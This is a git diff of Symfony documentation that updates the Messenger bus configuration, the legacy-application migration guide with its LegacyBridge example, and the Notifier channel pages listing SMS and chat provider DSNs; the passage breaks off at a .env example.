``default_bus``); - -* ``query.bus``: autowireable with ``MessageBusInterface $queryBus``; - -* ``event.bus``: autowireable with ``MessageBusInterface $eventBus``. - -Restrict Handlers per Bus -------------------------- - -By default, each handler will be available to handle messages on *all* -of your buses. To prevent dispatching a message to the wrong bus without an error, -you can restrict each handler to a specific bus using the ``messenger.message_handler`` tag: - -.. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - services: - App\MessageHandler\SomeCommandHandler: - tags: [{ name: messenger.message_handler, bus: command.bus }] - # prevent handlers from being registered twice (or you can remove - # the MessageHandlerInterface that autoconfigure uses to find handlers) - autoconfigure: false - - .. code-block:: xml - - <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <services> - <service id="App\MessageHandler\SomeCommandHandler"> - <tag name="messenger.message_handler" bus="command.bus"/> - </service> - </services> - </container> - - .. code-block:: php - - // config/services.php - $container->services() - ->set(App\MessageHandler\SomeCommandHandler::class) - ->tag('messenger.message_handler', ['bus' => 'command.bus']); - -This way, the ``App\MessageHandler\SomeCommandHandler`` handler will only be -known by the ``command.bus`` bus. - -You can also automatically add this tag to a number of classes by following -a naming convention and registering all of the handler services by name with -the correct tag: - -.. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - - # put this after the "App\" line that registers all your services - command_handlers: - namespace: App\MessageHandler\ - resource: '%kernel.project_dir%/src/MessageHandler/*CommandHandler.php' - autoconfigure: false - tags: - - { name: messenger.message_handler, bus: command.bus } - - query_handlers: - namespace: App\MessageHandler\ - resource: '%kernel.project_dir%/src/MessageHandler/*QueryHandler.php' - autoconfigure: false - tags: - - { name: messenger.message_handler, bus: query.bus } - - .. code-block:: xml - - <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <services> - <!-- command handlers --> - <prototype namespace="App\MessageHandler\" resource="%kernel.project_dir%/src/MessageHandler/*CommandHandler.php" autoconfigure="false"> - <tag name="messenger.message_handler" bus="command.bus"/> - </prototype> - <!-- query handlers --> - <prototype namespace="App\MessageHandler\" resource="%kernel.project_dir%/src/MessageHandler/*QueryHandler.php" autoconfigure="false"> - <tag name="messenger.message_handler" bus="query.bus"/> - </prototype> - </services> - </container> - - .. code-block:: php - - // config/services.php - - // Command handlers - $container->services() - ->load('App\MessageHandler\\', '%kernel.project_dir%/src/MessageHandler/*CommandHandler.php') - ->autoconfigure(false) - ->tag('messenger.message_handler', ['bus' => 'command.bus']); - - // Query handlers - $container->services() - ->load('App\MessageHandler\\', '%kernel.project_dir%/src/MessageHandler/*QueryHandler.php') - ->autoconfigure(false) - ->tag('messenger.message_handler', ['bus' => 'query.bus']); - -Debugging the Buses -------------------- - -The ``debug:messenger`` command lists available messages & handlers per bus. -You can also restrict the list to a specific bus by providing its name as argument. - -.. code-block:: terminal - - $ php bin/console debug:messenger - - Messenger - ========= - - command.bus - ----------- - - The following messages can be dispatched: - - --------------------------------------------------------------------------------------- - App\Message\DummyCommand - handled by App\MessageHandler\DummyCommandHandler - App\Message\MultipleBusesMessage - handled by App\MessageHandler\MultipleBusesMessageHandler - --------------------------------------------------------------------------------------- - - query.bus - --------- - - The following messages can be dispatched: - - --------------------------------------------------------------------------------------- - App\Message\DummyQuery - handled by App\MessageHandler\DummyQueryHandler - App\Message\MultipleBusesMessage - handled by App\MessageHandler\MultipleBusesMessageHandler - --------------------------------------------------------------------------------------- - -.. _article about CQRS: https://martinfowler.com/bliki/CQRS.html diff --git a/migration.rst b/migration.rst index fa8c2bfc24b..44485248545 100644 --- a/migration.rst +++ b/migration.rst @@ -1,13 +1,10 @@ -.. index:: - single: Migration - Migrating an Existing Application to Symfony ============================================ When you have an existing application that was not built with Symfony, you might want to move over parts of that application without rewriting the existing logic completely. For those cases there is a pattern called -`Strangler Application`_. The basic idea of this pattern is to create a +`Strangler Fig Application`_. The basic idea of this pattern is to create a new application that gradually takes over functionality from an existing application. This migration approach can be implemented with Symfony in various ways and has some benefits over a rewrite such as being able @@ -82,7 +79,7 @@ Setting up Composer Another point you will have to look out for is conflicts between dependencies in both applications. This is especially important if your existing application already uses Symfony components or libraries commonly -used in Symfony applications such as Doctrine ORM, Swiftmailer or Twig. +used in Symfony applications such as Doctrine ORM or Twig. A good way for ensuring compatibility is to use the same ``composer.json`` for both project's dependencies. @@ -130,7 +127,7 @@ It is quite common for an existing application to either not have a test suite at all or have low code coverage. Introducing unit tests for this code is likely not cost effective as the old code might be replaced with functionality from Symfony components or might be adapted to the new application. -Additionally legacy code tends to be hard to write tests for making the process +Additionally legacy code tends to be hard to write tests for, making the process slow and cumbersome. Instead of providing low level tests, that ensure each class works as expected, it @@ -223,7 +220,7 @@ unique approach for migration. This guide shows two examples of commonly used approaches, which you can use as a base for your own approach: * `Front Controller with Legacy Bridge`_, which leaves the legacy application - untouched and allows to migrate it in phases to the Symfony application. + untouched and allows migrating it in phases to the Symfony application. * `Legacy Route Loader`_, where the legacy application is integrated in phases into Symfony, with a fully integrated final result. @@ -238,6 +235,7 @@ could look something like this:: // public/index.php use App\Kernel; use App\LegacyBridge; + use Symfony\Component\Dotenv\Dotenv; use Symfony\Component\ErrorHandler\Debug; use Symfony\Component\HttpFoundation\Request; @@ -262,7 +260,7 @@ could look something like this:: if ($trustedProxies = $_SERVER['TRUSTED_PROXIES'] ?? $_ENV['TRUSTED_PROXIES'] ?? false) { Request::setTrustedProxies( explode(',', $trustedProxies), - Request::HEADER_X_FORWARDED_ALL ^ Request::HEADER_X_FORWARDED_HOST + Request::HEADER_X_FORWARDED_FOR | Request::HEADER_X_FORWARDED_PORT | Request::HEADER_X_FORWARDED_PROTO ); } @@ -274,21 +272,18 @@ could look something like this:: $request = Request::createFromGlobals(); $response = $kernel->handle($request); - /* - * LegacyBridge will take care of figuring out whether to boot up the - * existing application or to send the Symfony response back to the client. - */ - $scriptFile = LegacyBridge::prepareLegacyScript($request, $response, __DIR__); - if ($scriptFile !== null) { - require $scriptFile; - } else { + if (false === $response->isNotFound()) { + // Symfony successfully handled the route. $response->send(); + } else { + LegacyBridge::handleRequest($request, $response, __DIR__); } + $kernel->terminate($request, $response); There are 2 major deviations from the original file: -Line 15 +Line 18 First of all, ``$kernel`` is made globally available. This allows you to use Symfony features inside your existing application and gives access to services configured in our Symfony application. This helps you prepare your @@ -296,10 +291,9 @@ Line 15 it over. For instance, by replacing outdated or redundant libraries with Symfony components. -Line 38 - 47 - Instead of sending the Symfony response directly, a ``LegacyBridge`` is - called to decide whether the legacy application should be booted and used to - create the response instead. +Line 41 - 46 + If Symfony handled the response, it is sent; otherwise, the ``LegacyBridge`` + handles the request. This legacy bridge is responsible for figuring out which file should be loaded in order to process the old application logic. This can either be a front @@ -315,19 +309,49 @@ somewhat like this:: class LegacyBridge { - public static function prepareLegacyScript(Request $request, Response $response, string $publicDirectory): string + + /** + * Map the incoming request to the right file. This is the + * key function of the LegacyBridge. + * + * Sample code only. Your implementation will vary, depending on the + * architecture of the legacy code and how it's executed. + * + * If your mapping is complicated, you may want to write unit tests + * to verify your logic, hence this is public static. + */ + public static function getLegacyScript(Request $request): string { - // If Symfony successfully handled the route, you do not have to do anything. - if (false === $response->isNotFound()) { - return; + $requestPathInfo = $request->getPathInfo(); + $legacyRoot = __DIR__ . '/../'; + + // Map a route to a legacy script: + if ($requestPathInfo == '/customer/') { + return "{$legacyRoot}src/customers/list.php"; } - // Figure out how to map to the needed script file - // from the existing application and possibly (re-)set - // some env vars. - $legacyScriptFilename = ...; + // Map a direct file call, e.g. an ajax call: + if ($requestPathInfo == 'inc/ajax_cust_details.php') { + return "{$legacyRoot}inc/ajax_cust_details.php"; + } + + // ... etc. + + throw new \Exception("Unhandled legacy mapping for $requestPathInfo"); + } + + public static function handleRequest(Request $request, Response $response, string $publicDirectory): void + { + $legacyScriptFilename = LegacyBridge::getLegacyScript($request); + + // Possibly (re-)set some env vars (e.g. to handle forms + // posting to PHP_SELF): + $p = $request->getPathInfo(); + $_SERVER['PHP_SELF'] = $p; + $_SERVER['SCRIPT_NAME'] = $p; + $_SERVER['SCRIPT_FILENAME'] = $legacyScriptFilename; - return $legacyScriptFilename; + require $legacyScriptFilename; } } @@ -385,7 +409,7 @@ component:: { // ... - public function load($resource, $type = null) + public function load($resource, $type = null): RouteCollection { $collection = new RouteCollection(); $finder = new Finder(); @@ -433,10 +457,10 @@ which script to call and wrap the output in a response class:: class LegacyController { - public function loadLegacyScript(string $requestPath, string $legacyScript) + public function loadLegacyScript(string $requestPath, string $legacyScript): StreamedResponse { return new StreamedResponse( - function () use ($requestPath, $legacyScript) { + function () use ($requestPath, $legacyScript): void { $_SERVER['PHP_SELF'] = $requestPath; $_SERVER['SCRIPT_NAME'] = $requestPath; $_SERVER['SCRIPT_FILENAME'] = $legacyScript; @@ -463,7 +487,7 @@ chance to use Symfony's event lifecycle. For instance, this allows you to transition the authentication and authorization of the legacy application over to the Symfony application using the Security component and its firewalls. -.. _`Strangler Application`: https://martinfowler.com/bliki/StranglerFigApplication.html +.. _`Strangler Fig Application`: https://martinfowler.com/bliki/StranglerFigApplication.html .. _`autoload`: https://getcomposer.org/doc/04-schema.md#autoload .. _`Modernizing with Symfony`: https://youtu.be/YzyiZNY9htQ .. _`Symfony Panther`: https://github.com/symfony/panther diff --git a/notifier.rst b/notifier.rst index ab45707d306..49a1c2d533b 100644 --- a/notifier.rst +++ b/notifier.rst @@ -1,14 +1,6 @@ -.. index:: - single: Notifier - Creating and Sending Notifications ================================== -.. versionadded:: 5.0 - - The Notifier component was introduced in Symfony 5.0 as an - :doc:`experimental feature </contributing/code/experimental>`. - Installation ------------ @@ -22,12 +14,16 @@ Get the Notifier installed using: $ composer require symfony/notifier -Channels: Chatters, Texters, Email and Browser ----------------------------------------------- +.. _channels-chatters-texters-email-and-browser: +.. _channels-chatters-texters-email-browser-and-push: + +Channels +-------- -The notifier component can send notifications to different channels. Each -channel can integrate with different providers (e.g. Slack or Twilio SMS) -by using transports. +Channels refer to the different mediums through which notifications can be delivered. +These channels include email, SMS, chat services, push notifications, etc. Each +channel can integrate with different providers (e.g. Slack or Twilio SMS) by +using transports. The notifier component supports the following channels: @@ -37,14 +33,16 @@ The notifier component supports the following channels: services like Slack and Telegram; * :ref:`Email channel <notifier-email-channel>` integrates the :doc:`Symfony Mailer </mailer>`; * Browser channel uses :ref:`flash messages <flash-messages>`. +* :ref:`Push channel <notifier-push-channel>` sends notifications to phones and + browsers via push notifications. +* :ref:`Desktop channel <notifier-desktop-channel>` displays desktop notifications + on the same host machine. -.. tip:: +.. versionadded:: 7.2 - Use :doc:`secrets </configuration/secrets>` to securily store your - API's tokens. + The ``Desktop`` channel was introduced in Symfony 7.2. .. _notifier-sms-channel: -.. _notifier-texter-dsn: SMS Channel ~~~~~~~~~~~ @@ -54,28 +52,202 @@ to send SMS messages to mobile phones. This feature requires subscribing to a third-party service that sends SMS messages. Symfony provides integration with a couple popular SMS services: -========== ================================ ==================================================== -Service Package DSN -========== ================================ ==================================================== -Esendex ``symfony/esendex-notifier`` ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM`` -FreeMobile ``symfony/free-mobile-notifier`` ``freemobile://LOGIN:PASSWORD@default?phone=PHONE`` -Infobip ``symfony/infobip-notifier`` ``infobip://TOKEN@default?from=FROM`` -Mobyt ``symfony/mobyt-notifier`` ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM`` -Nexmo ``symfony/nexmo-notifier`` ``nexmo://KEY:SECRET@default?from=FROM`` -OvhCloud ``symfony/ovhcloud-notifier`` ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME`` -Sendinblue ``symfony/sendinblue-notifier`` ``sendinblue://API_KEY@default?sender=PHONE`` -Sinch ``symfony/sinch-notifier`` ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM`` -Smsapi ``symfony/smsapi-notifier`` ``smsapi://TOKEN@default?from=FROM`` -Twilio ``symfony/twilio-notifier`` ``twilio://SID:TOKEN@default?from=FROM`` -========== ================================ ==================================================== +.. warning:: + + If any of the DSN values contains any character considered special in a + URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must + encode them. See `RFC 3986`_ for the full list of reserved characters or use the + :phpfunction:`urlencode` function to encode them. + +================== ==================================================================================================================================== +Service +================== ==================================================================================================================================== +`46elks`_ **Install**: ``composer require symfony/forty-six-elks-notifier`` \ + **DSN**: ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM`` \ + **Webhook support**: No +`AllMySms`_ **Install**: ``composer require symfony/all-my-sms-notifier`` \ + **DSN**: ``allmysms://LOGIN:APIKEY@default?from=FROM`` \ + **Webhook support**: No + **Extra properties in SentMessage**: ``nbSms``, ``balance``, ``cost`` +`AmazonSns`_ **Install**: ``composer require symfony/amazon-sns-notifier`` \ + **DSN**: ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION`` \ + **Webhook support**: No +`Bandwidth`_ **Install**: ``composer require symfony/bandwidth-notifier`` \ + **DSN**: ``bandwidth://USERNAME:PASSWORD@default?from=FROM&account_id=ACCOUNT_ID&application_id=APPLICATION_ID&priority=PRIORITY`` \ + **Webhook support**: No +`Brevo`_ **Install**: ``composer require symfony/brevo-notifier`` \ + **DSN**: ``brevo://API_KEY@default?sender=SENDER`` \ + **Webhook support**: Yes +`Clickatell`_ **Install**: ``composer require symfony/clickatell-notifier`` \ + **DSN**: ``clickatell://ACCESS_TOKEN@default?from=FROM`` \ + **Webhook support**: No +`ContactEveryone`_ **Install**: ``composer require symfony/contact-everyone-notifier`` \ + **DSN**: ``contact-everyone://TOKEN@default?&diffusionname=DIFFUSION_NAME&category=CATEGORY`` \ + **Webhook support**: No +`Esendex`_ **Install**: ``composer require symfony/esendex-notifier`` \ + **DSN**: ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM`` \ + **Webhook support**: No +`FakeSms`_ **Install**: ``composer require symfony/fake-sms-notifier`` \ + **DSN**: ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default`` \ + **Webhook support**: No +`FreeMobile`_ **Install**: ``composer require symfony/free-mobile-notifier`` \ + **DSN**: ``freemobile://LOGIN:API_KEY@default?phone=PHONE`` \ + **Webhook support**: No +`GatewayApi`_ **Install**: ``composer require symfony/gateway-api-notifier`` \ + **DSN**: ``gatewayapi://TOKEN@default?from=FROM`` \ + **Webhook support**: No +`GoIP`_ **Install**: ``composer require symfony/go-ip-notifier`` \ + **DSN**: ``goip://USERNAME:PASSWORD@HOST:80?sim_slot=SIM_SLOT`` \ + **Webhook support**: No +`Infobip`_ **Install**: ``composer require symfony/infobip-notifier`` \ + **DSN**: ``infobip://AUTH_TOKEN@HOST?from=FROM`` \ + **Webhook support**: No +`Iqsms`_ **Install**: ``composer require symfony/iqsms-notifier`` \ + **DSN**: ``iqsms://LOGIN:PASSWORD@default?from=FROM`` \ + **Webhook support**: No +`iSendPro`_ **Install**: ``composer require symfony/isendpro-notifier`` \ + **DSN**: ``isendpro://ACCOUNT_KEY_ID@default?from=FROM&no_stop=NO_STOP&sandbox=SANDBOX`` \ + **Webhook support**: No +`KazInfoTeh`_ **Install**: ``composer require symfony/kaz-info-teh-notifier`` \ + **DSN**: ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM`` \ + **Webhook support**: No +`LightSms`_ **Install**: ``composer require symfony/light-sms-notifier`` \ + **DSN**: ``lightsms://LOGIN:TOKEN@default?from=PHONE`` \ + **Webhook support**: No +`LOX24`_ **Install**: ``composer require symfony/lox24-notifier`` \ + **DSN**: ``lox24://USER:TOKEN@default?from=FROM`` \ + **Webhook support**: No +`Mailjet`_ **Install**: ``composer require symfony/mailjet-notifier`` \ + **DSN**: ``mailjet://TOKEN@default?from=FROM`` \ + **Webhook support**: No +`MessageBird`_ **Install**: ``composer require symfony/message-bird-notifier`` \ + **DSN**: ``messagebird://TOKEN@default?from=FROM`` \ + **Webhook support**: No +`MessageMedia`_ **Install**: ``composer require symfony/message-media-notifier`` \ + **DSN**: ``messagemedia://API_KEY:API_SECRET@default?from=FROM`` \ + **Webhook support**: No +`Mobyt`_ **Install**: ``composer require symfony/mobyt-notifier`` \ + **DSN**: ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM`` \ + **Webhook support**: No +`Nexmo`_ **Install**: ``composer require symfony/nexmo-notifier`` \ + Abandoned in favor of Vonage (see below) \ +`Octopush`_ **Install**: ``composer require symfony/octopush-notifier`` \ + **DSN**: ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE`` \ + **Webhook support**: No +`OrangeSms`_ **Install**: ``composer require symfony/orange-sms-notifier`` \ + **DSN**: ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME`` \ + **Webhook support**: No +`OvhCloud`_ **Install**: ``composer require symfony/ovh-cloud-notifier`` \ + **DSN**: ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME`` \ + **Webhook support**: No + **Extra properties in SentMessage**:: ``totalCreditsRemoved`` +`Plivo`_ **Install**: ``composer require symfony/plivo-notifier`` \ + **DSN**: ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM`` \ + **Webhook support**: No +`Primotexto`_ **Install**: ``composer require symfony/primotexto-notifier`` \ + **DSN**: ``primotexto://API_KEY@default?from=FROM`` \ + **Webhook support**: No +`Redlink`_ **Install**: ``composer require symfony/redlink-notifier`` \ + **DSN**: ``redlink://API_KEY:APP_KEY@default?from=SENDER_NAME&version=API_VERSION`` \ + **Webhook support**: No +`RingCentral`_ **Install**: ``composer require symfony/ring-central-notifier`` \ + **DSN**: ``ringcentral://API_TOKEN@default?from=FROM`` \ + **Webhook support**: No +`Sendberry`_ **Install**: ``composer require symfony/sendberry-notifier`` \ + **DSN**: ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM`` \ + **Webhook support**: No +`Sendinblue`_ **Install**: ``composer require symfony/sendinblue-notifier`` \ + **DSN**: ``sendinblue://API_KEY@default?sender=PHONE`` \ + **Webhook support**: No +`Sms77`_ **Install**: ``composer require symfony/sms77-notifier`` \ + **DSN**: ``sms77://API_KEY@default?from=FROM`` \ + **Webhook support**: No +`SimpleTextin`_ **Install**: ``composer require symfony/simple-textin-notifier`` \ + **DSN**: ``simpletextin://API_KEY@default?from=FROM`` \ + **Webhook support**: No +`Sinch`_ **Install**: ``composer require symfony/sinch-notifier`` \ + **DSN**: ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM`` \ + **Webhook support**: No +`Sipgate`_ **Install**: ``composer require symfony/sipgate-notifier`` \ + **DSN**: ``sipgate://TOKEN_ID:TOKEN@default?senderId=SENDER_ID`` \ + **Webhook support**: No +`SmsSluzba`_ **Install**: ``composer require symfony/sms-sluzba-notifier`` \ + **DSN**: ``sms-sluzba://USERNAME:PASSWORD@default`` \ + **Webhook support**: No +`Smsapi`_ **Install**: ``composer require symfony/smsapi-notifier`` \ + **DSN**: ``smsapi://TOKEN@default?from=FROM`` \ + **Webhook support**: No +`Smsbox`_ **Install**: ``composer require symfony/smsbox-notifier`` \ + **DSN**: ``smsbox://APIKEY@default?mode=MODE&strategy=STRATEGY&sender=SENDER`` \ + **Webhook support**: Yes +`SmsBiuras`_ **Install**: ``composer require symfony/sms-biuras-notifier`` \ + **DSN**: ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0`` \ + **Webhook support**: No +`Smsc`_ **Install**: ``composer require symfony/smsc-notifier`` \ + **DSN**: ``smsc://LOGIN:PASSWORD@default?from=FROM`` \ + **Webhook support**: No +`SMSense`_ **Install**: ``composer require smsense-notifier`` \ + **DSN**: ``smsense://API_TOKEN@default?from=FROM`` \ + **Webhook support**: No +`SMSFactor`_ **Install**: ``composer require symfony/sms-factor-notifier`` \ + **DSN**: ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE`` \ + **Webhook support**: No +`SpotHit`_ **Install**: ``composer require symfony/spot-hit-notifier`` \ + **DSN**: ``spothit://TOKEN@default?from=FROM`` \ + **Webhook support**: No +`Sweego`_ **Install**: ``composer require symfony/sweego-notifier`` \ + **DSN**: ``sweego://API_KEY@default?region=REGION&campaign_type=CAMPAIGN_TYPE`` \ + **Webhook support**: Yes +`Telnyx`_ **Install**: ``composer require symfony/telnyx-notifier`` \ + **DSN**: ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID`` \ + **Webhook support**: No +`TurboSms`_ **Install**: ``composer require symfony/turbo-sms-notifier`` \ + **DSN**: ``turbosms://AUTH_TOKEN@default?from=FROM`` \ + **Webhook support**: No +`Twilio`_ **Install**: ``composer require symfony/twilio-notifier`` \ + **DSN**: ``twilio://SID:TOKEN@default?from=FROM`` \ + **Webhook support**: Yes +`Unifonic`_ **Install**: ``composer require symfony/unifonic-notifier`` \ + **DSN**: ``unifonic://APP_SID@default?from=FROM`` \ + **Webhook support**: No +`Vonage`_ **Install**: ``composer require symfony/vonage-notifier`` \ + **DSN**: ``vonage://KEY:SECRET@default?from=FROM`` \ + **Webhook support**: Yes +`Yunpian`_ **Install**: ``composer require symfony/yunpian-notifier`` \ + **DSN**: ``yunpian://APIKEY@default`` \ + **Webhook support**: No +================== ==================================================================================================================================== + +.. tip:: + + Use :doc:`Symfony configuration secrets </configuration/secrets>` to securely + store your API tokens. + +.. tip:: + + Some third party transports, when using the API, support status callbacks + via webhooks. See the :doc:`Webhook documentation </webhook>` for more + details. + +.. versionadded:: 7.1 + + The ``Smsbox``, ``SmsSluzba``, ``SMSense``, ``LOX24`` and ``Unifonic`` + integrations were introduced in Symfony 7.1. + +.. versionadded:: 7.2 + + The ``Primotexto``, ``Sipgate`` and ``Sweego`` integrations were introduced in Symfony 7.2. -.. versionadded:: 5.1 +.. versionadded:: 7.3 - The OvhCloud, Sinch and FreeMobile integrations were introduced in Symfony 5.1. + Webhook support for the ``Brevo`` integration was introduced in Symfony 7.3. + The extra properties in ``SentMessage`` for ``AllMySms`` and ``OvhCloud`` + providers were introduced in Symfony 7.3 too. -.. versionadded:: 5.2 +.. deprecated:: 7.1 - The Smsapi, Infobip, Mobyt, Esendex and Sendinblue integrations were introduced in Symfony 5.2. + The `Sms77`_ integration is deprecated since + Symfony 7.1, use the `Seven.io`_ integration instead. To enable a texter, add the correct DSN in your ``.env`` file and configure the ``texter_transports``: @@ -118,53 +290,161 @@ configure the ``texter_transports``: .. code-block:: php - # config/packages/notifier.php - $container->loadFromExtension('framework', [ - 'notifier' => [ - 'texter_transports' => [ - 'twilio' => '%env(TWILIO_DSN)%', - ], - ], - ]); + // config/packages/notifier.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->notifier() + ->texterTransport('twilio', env('TWILIO_DSN')) + ; + }; + +.. _sending-sms: + +The :class:`Symfony\\Component\\Notifier\\TexterInterface` class allows you to +send SMS messages:: + + // src/Controller/SecurityController.php + namespace App\Controller; + + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Notifier\Message\SmsMessage; + use Symfony\Component\Notifier\TexterInterface; + use Symfony\Component\Routing\Attribute\Route; + + class SecurityController + { + #[Route('/login/success')] + public function loginSuccess(TexterInterface $texter): Response + { + $options = (new ProviderOptions()) + ->setPriority('high') + ; + + $sms = new SmsMessage( + // the phone number to send the SMS message to + '+1411111111', + // the message + 'A new login was detected!', + // optionally, you can override default "from" defined in transports + '+1422222222', + // you can also add options object implementing MessageOptionsInterface + $options + ); + + $sentMessage = $texter->send($sms); + + // ... + } + } + +The ``send()`` method returns a variable of type +:class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides +information such as the message ID and the original message contents. .. _notifier-chat-channel: -.. _notifier-chatter-dsn: Chat Channel ~~~~~~~~~~~~ +.. warning:: + + If any of the DSN values contains any character considered special in a + URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must + encode them. See `RFC 3986`_ for the full list of reserved characters or use the + :phpfunction:`urlencode` function to encode them. + The chat channel is used to send chat messages to users by using :class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides integration with these chat services: -========== ================================ =========================================================================== -Service Package DSN -========== ================================ =========================================================================== -GoogleChat ``symfony/google-chat-notifier`` ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?threadKey=THREAD_KEY`` -LinkedIn ``symfony/linked-in-notifier`` ``linkedin://TOKEN:USER_ID@default`` -Mattermost ``symfony/mattermost-notifier`` ``mattermost://TOKEN@ENDPOINT?channel=CHANNEL`` -RocketChat ``symfony/rocket-chat-notifier`` ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL`` -Slack ``symfony/slack-notifier`` ``slack://default/ID`` -Telegram ``symfony/telegram-notifier`` ``telegram://TOKEN@default?channel=CHAT_ID`` -Zulip ``symfony/zulip-notifier`` ``zulip://EMAIL:APIKEY@ENDPOINT?channel=CHANNEL`` -========== ================================ =========================================================================== - -.. versionadded:: 5.1 +====================================== ===================================================================================== +Service +====================================== ===================================================================================== +`AmazonSns`_ **Install**: ``composer require symfony/amazon-sns-notifier`` \ + **DSN**: ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION`` +`Bluesky`_ **Install**: ``composer require symfony/bluesky-notifier`` \ + **DSN**: ``bluesky://USERNAME:PASSWORD@default`` + **Extra properties in SentMessage**: ``cid`` +`Chatwork`_ **Install**: ``composer require symfony/chatwork-notifier`` \ + **DSN**: ``chatwork://API_TOKEN@default?room_id=ID`` +`Discord`_ **Install**: ``composer require symfony/discord-notifier`` \ + **DSN**: ``discord://TOKEN@default?webhook_id=ID`` +`FakeChat`_ **Install**: ``composer require symfony/fake-chat-notifier`` \ + **DSN**: ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default`` +`Firebase`_ **Install**: ``composer require symfony/firebase-notifier`` \ + **DSN**: ``firebase://USERNAME:PASSWORD@default`` +`GoogleChat`_ **Install**: ``composer require symfony/google-chat-notifier`` \ + **DSN**: ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY`` +`LINE Bot`_ **Install**: ``composer require symfony/line-bot-notifier`` \ + **DSN**: ``linebot://TOKEN@default?receiver=RECEIVER`` +`LINE Notify`_ **Install**: ``composer require symfony/line-notify-notifier`` \ + **DSN**: ``linenotify://TOKEN@default`` +`LinkedIn`_ **Install**: ``composer require symfony/linked-in-notifier`` \ + **DSN**: ``linkedin://TOKEN:USER_ID@default`` +`Mastodon`_ **Install**: ``composer require symfony/mastodon-notifier`` \ + **DSN**: ``mastodon://ACCESS_TOKEN@HOST`` +`Matrix`_ **Install**: ``composer require symfony/matrix-notifier`` \ + **DSN**: ``matrix://HOST:PORT/?accessToken=ACCESSTOKEN&ssl=SSL`` +`Mattermost`_ **Install**: ``composer require symfony/mattermost-notifier`` \ + **DSN**: ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL`` +`Mercure`_ **Install**: ``composer require symfony/mercure-notifier`` \ + **DSN**: ``mercure://HUB_ID?topic=TOPIC`` +`MicrosoftTeams`_ **Install**: ``composer require symfony/microsoft-teams-notifier`` \ + **DSN**: ``microsoftteams://default/PATH`` +`RocketChat`_ **Install**: ``composer require symfony/rocket-chat-notifier`` \ + **DSN**: ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL`` +`Slack`_ **Install**: ``composer require symfony/slack-notifier`` \ + **DSN**: ``slack://TOKEN@default?channel=CHANNEL`` +`Telegram`_ **Install**: ``composer require symfony/telegram-notifier`` \ + **DSN**: ``telegram://TOKEN@default?channel=CHAT_ID`` +`Twitter`_ **Install**: ``composer require symfony/twitter-notifier`` \ + **DSN**: ``twitter://API_KEY:API_SECRET:ACCESS_TOKEN:ACCESS_SECRET@default`` +`Zendesk`_ **Install**: ``composer require symfony/zendesk-notifier`` \ + **DSN**: ``zendesk://EMAIL:TOKEN@SUBDOMAIN`` +`Zulip`_ **Install**: ``composer require symfony/zulip-notifier`` \ + **DSN**: ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL`` +====================================== ===================================================================================== + +.. versionadded:: 7.1 + + The ``Bluesky`` integration was introduced in Symfony 7.1. + +.. versionadded:: 7.2 + + The ``LINE Bot`` integration was introduced in Symfony 7.2. + +.. deprecated:: 7.2 + + The ``Gitter`` integration was removed in Symfony 7.2 because that service + no longer provides an API. + +.. versionadded:: 7.3 + + The ``Matrix`` integration was introduced in Symfony 7.3. + +.. warning:: + + By default, if you have the :doc:`Messenger component </messenger>` installed, + the notifications will be sent through the MessageBus. If you don't have a + message consumer running, messages will never be sent. + + To change this behavior, add the following configuration to send messages + directly via the transport: - The Mattermost and RocketChat integrations were introduced in Symfony - 5.1. The Slack DSN changed in Symfony 5.1 to use Slack Incoming - Webhooks instead of legacy tokens. - -.. versionadded:: 5.2 + .. code-block:: yaml - The GoogleChat, LinkedIn and Zulip integrations were introduced in Symfony 5.2. + # config/packages/notifier.yaml + framework: + notifier: + message_bus: false Chatters are configured using the ``chatter_transports`` setting: .. code-block:: bash # .env - SLACK_DSN=slack://default/ID + 